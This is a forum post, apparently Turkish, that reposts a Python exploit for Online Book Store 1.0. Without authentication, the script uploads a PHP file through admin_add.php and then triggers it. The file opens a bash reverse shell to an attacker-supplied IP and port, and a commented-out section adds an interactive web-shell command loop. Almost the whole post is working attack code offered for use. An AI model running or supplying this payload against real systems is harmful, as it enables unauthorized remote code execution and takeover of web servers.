Hoşgeldin Misafir

Online Book Store 1.0 Code Execution Exploit

Asım Gürsoy

mersin
27 Mar 2020
8,833 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Online Book Store 1.0 Code Execution Exploit--


Kod:
#!/usr/bin/env python3
 
# Exploit Title: Online Book Store 1.0 - Unauthenticated Remote Code Execution (modified by cesgami)
 
# Exploit Author: Tib3rius
 
# Vendor Homepage: https://projectworlds.in/free-projects/php-projects/online-book-store-project-in-php/
 
# Software Link: https://github.com/projectworlds32/online-book-store-project-in-php/archive/master.zip
 
# Version: 1.0
 
# Tested on: Ubuntu 16.04, Kali Linux 2020.2
 
# CVE: N/A
 
# Mod: Not so shitty reverse shell capability (want it to play nice with pwncat)
 
 
 
import argparse
 
import random
 
import requests
 
import socket
 
import string
 
 
 
parser = argparse.ArgumentParser()
 
parser.add_argument('url', action='store', help='The URL of the target.')
 
parser.add_argument('ip', action='store', help='LHOST')
 
parser.add_argument('port', action='store', help='LPORT')
 
args = parser.parse_args()
 
 
 
url = args.url.rstrip('/')
 
random_file = ''.join(random.choice(string.ascii_letters + string.digits) for i in range(10))
 
 
 
#payload = '<?php echo shell_exec($_GET[\'cmd\']); ?>'
 
 
 
payload = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/' + args.ip + '/' + args.port +' 0>&1\'");?>'
 
 
 
 
 
 
 
file = {'image': (random_file + '.php', payload, 'text/php')}
 
print('> Attempting to upload PHP web shell...')
 
r = requests.post(url + '/admin_add.php', files=file, data={'add':'1'}, verify=False)
 
print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
 
 
 
#print('> Verifying shell upload...')
 
#r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':'echo ' + random_file}, verify=False)
 
 
 
input('> You need to prepare netcat or pwncat (Press any key)')
 
 
 
try:
 
    r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)
 
except HTTPError:
 
    print('> Web shell failed to upload! The web server may not have write permissions.')
 
 
 
'''
 
if random_file in r.text:
 
    r = requests.get(url + '/bootstrap/img/' + random_file + '.php', verify=False)
 
    print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php')
 
     
 
    print('> Example command usage: ' + url + '/bootstrap/img/' + random_file + '.php?cmd=whoami')
 
    launch_shell = str(input('> Do you wish to launch a shell here? (y/n): '))
 
    if launch_shell.lower() == 'y':
 
        while True:
 
            cmd = str(input('RCE $ '))
 
            if cmd == 'exit':
 
                sys.exit(0)
 
            r = requests.get(url + '/bootstrap/img/' + random_file + '.php', params={'cmd':cmd}, verify=False)
 
            print(r.text)
 
else:
 
    if r.status_code == 200:
 
        print('> Web shell uploaded to ' + url + '/bootstrap/img/' + random_file + '.php, however a simple command check failed to execute. Perhaps shell_exec is disabled? Try changing the payload.')
 
    else:
 
        print('> Web shell failed to upload! The web server may not have write permissions.')
 
'''
 
#  0day.today [2020-07-28]  #